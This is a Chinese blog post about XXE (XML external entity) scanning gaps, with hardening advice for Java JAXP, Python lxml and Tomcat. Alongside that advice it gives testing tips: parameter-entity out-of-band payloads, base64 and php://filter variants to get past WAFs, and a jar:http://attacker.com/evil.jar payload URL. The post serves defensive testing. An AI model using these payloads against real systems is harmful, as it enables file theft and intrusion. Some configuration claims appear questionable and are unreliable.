XML注入漏洞检测工具 自动化扫描Web应用XXE风险

畫卷琴夢

畫卷琴夢

2026-03-18

688人浏览

原创

xxe漏洞扫描漏报因工具仅检测doctype中的外部实体,忽略参数实体、内部实体间接引用及xsd引入路径;真实场景中spring boot等应用即使无doctype也可能触发外连。

xml注入漏洞检测工具 自动化扫描web应用xxe风险

XXE漏洞扫描为什么总漏报DOCTYPE外的实体引用?

因为多数自动化工具只检测显式DOCTYPE声明里的外部实体定义,而忽略parameter entityinternal entity间接触发或XMLSchemaxsd:import带入的实体解析路径。真实业务里,Spring Boot应用用javax.xml.validation.SchemaFactory加载远程XSD时,即使没写DOCTYPE,照样可能触发HTTP外连。

  • 检查工具是否启用http://xml.org/sax/features/external-parameter-entitieshttp://xml.org/sax/features/external-general-entities开关(JAXP默认false
  • 手动在测试payload里补全%remote;参数实体引用,再用curl -v确认DNS或HTTP请求是否发出
  • 留意XMLStreamReader这类流式解析器——它不自动解析DOCTYPE,但若上层代码调用getProperty("http://javax.xml.XMLConstants/property/accessExternalDTD")返回all,仍可能被绕过

Python用defusedxml防XXE,但lxml还在报EntityReference错误?

不是defusedxml失效,是它只覆盖xml.etree.ElementTreeminidom等标准库模块;lxml用的是libxml2底层,必须单独配置。而且lxml.etree.XMLParserresolve_entities=False参数仅禁用通用实体,对参数实体(%name;)无效。

  • 强制设置lxml.etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)
  • 若需保留DTD验证,改用load_dtd=True + dtd_validation=True,但必须配合remove_blank_text=True提前剥离注释和空格,否则%INCLUDE可能绕过
  • 检查lxml版本:2.3.6以下存在XMLParser参数被忽略的bug,升级到4.6+更稳

Burp Suite的XXE Scanner插件扫不出base64回显型漏洞?

因为插件默认只监控HTTP响应体中的明文关键词(如/etc/passwd),而base64编码的文件内容不会匹配。更麻烦的是,某些WAF会拦截含file://的原始payload,但放行经过base64php://filter编码的变体。

  • 在Burp Intruder中自定义payload:用xxe.dtd定义,再引用%file;
  • 把Burp的"Match and extract"规则改成正则[A-Za-z0-9+/]{40,}==,捕获长base64串后手动解码
  • 注意目标服务端的XML解析器是否支持php://——Java环境得换jar:http://attacker.com/evil.jar!/META-INF/MANIFEST.MF

为什么accessExternalDTD="all"设成none还是触发了外连?

这个配置项只控制DTD本身加载,不拦住SYSTEM实体里的URL。真正起作用的是accessExternalSchema(影响XSD)、accessExternalStylesheet(影响XSLT),以及底层libxml2的XML_PARSE_NOENT标志位是否被清除。

  • JVM启动参数加-Djavax.xml.accessExternalDTD=none -Djavax.xml.accessExternalSchema=none
  • Tomcat用户额外检查conf/catalina.propertiesxml.blockExternal=true是否生效(8.5+默认true,但低版本需手动开)
  • strace -e trace=connect,openat java -jar app.jar 2>&1 | grep -E "(http|ftp|file)"直接抓系统调用,比看日志更准

XXE的隐蔽点不在语法多复杂,而在解析器链路太长——从HTTP请求头里的Content-Type决定用哪个解析器,到框架自动注册的EntityResolver,中间任何一环没关严,就等于留了扇虚掩的门。

PHP速学视频免费教程(入门到精通)
PHP速学视频免费教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

相关标签:

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

相关专题

更多
如何配置Tomcat环境变量
如何配置Tomcat环境变量

配置Tomcat环境变量需要在系统中添加CATALINA_HOME变量,并将Tomcat的安装路径添加到PATH变量中。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2023.10.26

318

5

idea如何集成Tomcat
idea如何集成Tomcat

idea集成Tomcat的步骤:1、添加Tomcat服务器配置;2、配置项目部署;3、运行Tomcat服务器;4、访问项目;5、注意事项;6、关闭Tomcat服务器。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2024.02.23

242

5

怎么查看Tomcat源代码
怎么查看Tomcat源代码

查看Tomcat源代码的步骤:1、下载Tomcat源代码;2、在IDEA中导入Tomcat源代码;3、查看源代码;4、理解Tomcat的工作原理;5、参与社区和贡献;6、注意事项;7、持续学习和更新;8、使用工具和插件。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2024.02.23

382

5

常见的tomcat漏洞有哪些
常见的tomcat漏洞有哪些

常见的tomcat漏洞有:1、跨站脚本攻击;2、跨站请求伪造;3、目录遍历漏洞;4、缓冲区溢出漏洞;5、配置漏洞;6、第三方组件漏洞。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2024.02.23

222

5

tomcat日志乱码怎么解决
tomcat日志乱码怎么解决

tomcat日志乱码的解决办法:1、修改tomcat的日志编码设置;2、检查ide的编码设置;3、检查操作系统的编码设置;4、使用过滤器处理日志;5、检查外部系统的编码设置;6、检查文件编码方式等等。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2024.02.23

282

5

weblogic和tomcat有哪些区别
weblogic和tomcat有哪些区别

weblogic和tomcat的区别:1、功能;2、性能;3、规模;4、价格;5、安全性;6、配置和管理;7、社区支持;8、集成能力;9、升级和更新;10、可靠性。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2024.02.23

305

5

tomcat和nginx有哪些区别
tomcat和nginx有哪些区别

tomcat和nginx的区别:1、应用领域;2、性能;3、功能;4、配置;5、安全性;6、扩展性;7、部署复杂性;8、社区支持;9、成本;10、日志管理。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2024.02.23

413

5

tomcat启动闪退怎么解决
tomcat启动闪退怎么解决

tomcat启动闪退的解决办法:1、检查java环境;2、检查环境变量配置;3、检查端口被占用;4、检查配置文件编码;5、检查启动时需要的配置文件;6、检查相关文件是否丢失;7、检查防火墙和杀毒软件设置。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2024.02.23

237

5

有哪些常见的tomcat漏洞
有哪些常见的tomcat漏洞

常见的tomcat漏洞有:1、跨站脚本攻击;2、跨站请求伪造;3、目录遍历漏洞;4、缓冲区溢出漏洞;5、配置漏洞;6、第三方组件漏洞。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2024.02.23

926

5

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
热门推荐
/
最新课程
phpStudy极速入门视频教程
phpStudy极速入门视频教程

共6课时 | 54.4万人学习

独孤九贱(4)_PHP视频教程
独孤九贱(4)_PHP视频教程

共89课时 | 131.8万人学习